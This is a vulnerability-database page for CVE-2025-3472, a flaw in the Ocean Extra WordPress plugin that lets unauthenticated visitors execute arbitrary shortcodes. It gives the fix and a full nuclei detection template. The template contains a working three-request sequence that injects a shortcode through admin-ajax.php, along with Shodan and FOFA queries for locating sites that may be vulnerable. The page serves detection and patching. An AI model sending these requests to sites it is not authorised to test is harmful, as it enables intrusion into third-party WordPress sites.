HexBrain

Browse / CVEs / CVE-2025-3472

CVE-2025-3472· oceanwp / ocean extra· CWE-94

Ocean Extra <= 2.4.6 - Unauthenticated Shortcode Execution

mediumseverity
6.5CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it

The Ocean Extra plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 2.4.6. This is due to the software allowing users to supply arbitrary shortcodes in the content_rech_data parameter that is then executed. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes when WooCommerce is also installed and activated.

Impact

Unauthenticated attackers can execute arbitrary WordPress shortcodes, potentially leading to information disclosure, privilege escalation, or further site compromise depending on available shortcodes.

Fix

Update Ocean Extra plugin to version 2.4.7 or later.

How to confirm it

Send: GET /?s=&post_type=product
Positive when: contains(body, "add-to-cart=")
Send: GET /?add-to-cart={{product_id}}&quantity=1
Positive when: status_code == 200 || status_code == 302
Send: POST /wp-admin/admin-ajax.php
Positive when: contains_all(body, "oceanwp-woo-free-shipping", "username", "password") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-3472 -u <target>

The full check
id: CVE-2025-3472

info:
  name: Ocean Extra <= 2.4.6 - Unauthenticated Shortcode Execution
  author: theamanrawat
  severity: medium
  description: |
    The Ocean Extra plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 2.4.6. This is due to the software allowing users to supply arbitrary shortcodes in the content_rech_data parameter that is then executed. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes when WooCommerce is also installed and activated.
  impact: |
    Unauthenticated attackers can execute arbitrary WordPress shortcodes, potentially leading to information disclosure, privilege escalation, or further site compromise depending on available shortcodes.
  remediation: Update Ocean Extra plugin to version 2.4.7 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/74428e76-1946-408f-8adc-24ab4b7e46c5
    - https://plugins.trac.wordpress.org/browser/ocean-extra/trunk/includes/shortcodes/shortcodes.php#L618
    - https://plugins.trac.wordpress.org/changeset/3277977/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-3472
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-3472
    cwe-id: CWE-94
    epss-score: 0.02003
    epss-percentile: 0.80951
  metadata:
    verified: true
    max-request: 3
    vendor: oceanwp
    product: ocean_extra
    framework: wordpress
    fofa-query: body="oceanwp" && body="woocommerce"
    shodan-query: http.html:"oceanwp" http.html:"woocommerce"
  tags: cve,cve2025,wordpress,wp-plugin,ocean-extra,oceanwp,woocommerce,shortcode,unauth,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /?s=&post_type=product HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "add-to-cart=")'
        internal: true

    extractors:
      - type: regex
        name: product_id
        part: body
        group: 1
        regex:
          - '(?:add-to-cart=|data-product_id="|product-)(\d+)'
        internal: true

  - raw:
      - |
        GET /?add-to-cart={{product_id}}&quantity=1 HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=update_oceanwp_woo_free_shipping_left_shortcode&content_rech_data=[woocommerce_my_account]&content=test

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "oceanwp-woo-free-shipping", "username", "password")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from